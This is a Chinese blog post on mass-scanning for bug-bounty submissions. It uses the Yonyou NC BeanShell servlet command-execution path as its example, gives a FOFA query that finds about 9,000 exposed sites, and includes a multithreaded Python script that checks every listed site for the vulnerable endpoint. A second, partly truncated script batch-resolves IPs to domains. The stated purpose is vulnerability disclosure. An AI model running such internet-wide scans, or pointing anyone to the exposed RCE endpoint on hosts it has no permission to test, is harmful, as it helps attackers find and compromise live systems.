0x01 前言
在接触src之前，我和很多师傅都有同一个疑问，就是那些大师傅是怎么批量挖洞的？摸滚打爬了两个月之后，我渐渐有了点自己的理解和经验，
所以打算分享出来和各位师傅交流，不足之处还望指正。

0x02 漏洞举例
这里以前几天爆出来的用友nc的命令执行漏洞为例
http://xxx.xxxx.xxxx.xxxx/servlet//~ic/bsh.servlet.BshServlet

文本框里可以命令执行

0x03 漏洞的批量检测
在知道这个漏洞详情之后，我们需要根据漏洞的特征去fofa里寻找全国范围里使用这个系统的网站，比如用友nc在fofa的搜索特征就是

app="用友-UFIDA-NC"

可以看到一共有9119条结果，接下来我们需要采集所有站点的地址下来，这里推荐狼组安全团队开发的fofa采集工具fofa-viewer
https://github.com/wgpsec/fofa_viewer

然后导出所有站点到一个txt文件中。

根据用友nc漏洞命令执行的特征，我们简单写一个多线程检测脚本

import requests
import threadpool
import os
def exp(url):
poc = r"""/servlet//~ic/bsh.servlet.BshServlet"""
url = url + poc
try:
res = requests.get(url, timeout=3)
if "BeanShell" in res.text:
print("[*]存在漏洞的url：" + url)
with open ("用友命令执行列表.txt", 'a') as f:
f.write(url + "\n")
except:
pass
def multithreading(funcname, params=[], filename="yongyou.txt", pools=10):
works = []
with open(filename, "r") as f:
for i in f:
func_params = [i.rstrip("\n")] + params
works.append((func_params, None))
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(funcname, works)
[pool.putRequest(req) for req in reqs]
pool.wait()
def main():
if os.path.exists("用友命令执行列表.txt"):
f = open("用友命令执行列表.txt", 'w')
f.truncate()
multithreading(exp, [], "yongyou.txt", 10)
if __name__ == '__main__':
main()

复制代码

运行完后得到所有漏洞站点的txt文件

0x04 域名和权重的批量检测
在我们提交补天等漏洞平台时，不免注意到有这么一个规则，公益漏洞的提交需要满足站点的百度权重或者移动权重大于等于1，亦或者谷歌权重
大于等于3的条件，补天漏洞平台以爱站的检测权重为准

首先我们需要对收集过来的漏洞列表做一个ip反查域名，来证明归属，我们用爬虫写一个批量ip反查域名脚本，这里用了ip138和爱站两个站点来进行ip反查域名
因为多线程会被ban，目前只采用了单线程

aizhan_domains = re.findall(r'''rel="nofollow" target="_blank">(.*?)</a>''', aizhan_r)
return aizhan_domains
except:
pass
def catch_result(i):
ua_header = UserAgent()
i = i.strip()
try:
ip = i.split(':')[1].split('//')[1]
ip138_result = ip138_chaxun(ip, ua_header)
aizhan_result = aizhan_chaxun(ip, ua_header)
time.sleep(1)
if ((ip138_result != None and ip138_result!=[]) or aizhan_result != None ):
with open("ip反查结果.txt", 'a') as f:
result = "[url]:" + i + " " + "[ip138]:" + str(ip138_result) + " [aizhan]:" + str(aizhan_result)
print(result)
f.write(result + "\n")

with open("反查失败列表.txt", 'a') as f:
f.write(i + "\n")

pass
if __name__ == '__main__':

url_len = len(open("用友命令执行列表.txt", 'r').readlines())
#每次启动时清空两个txt文件
if os.path.exists("反查失败列表.txt"):
f = open("反查失败列表.txt", 'w')
f.truncate()
if os.path.exists("ip反查结果.txt"):
f = open("ip反查结果.txt", 'w')
f.truncate()
for i in tqdm(url_list):
catch_result(i)

复制代码

运行结果：

然后拿到解析的域名后，就是对域名权重进行检测，这里采用爱站来进行权重检测，继续写一个批量检测脚本

0x05 漏洞提交
最后就是一个个拿去提交漏洞了

0x06 结尾
文中所写脚本还处于勉强能用的状态，后续会进行优化更改。师傅们如有需要也可选择自行更改。
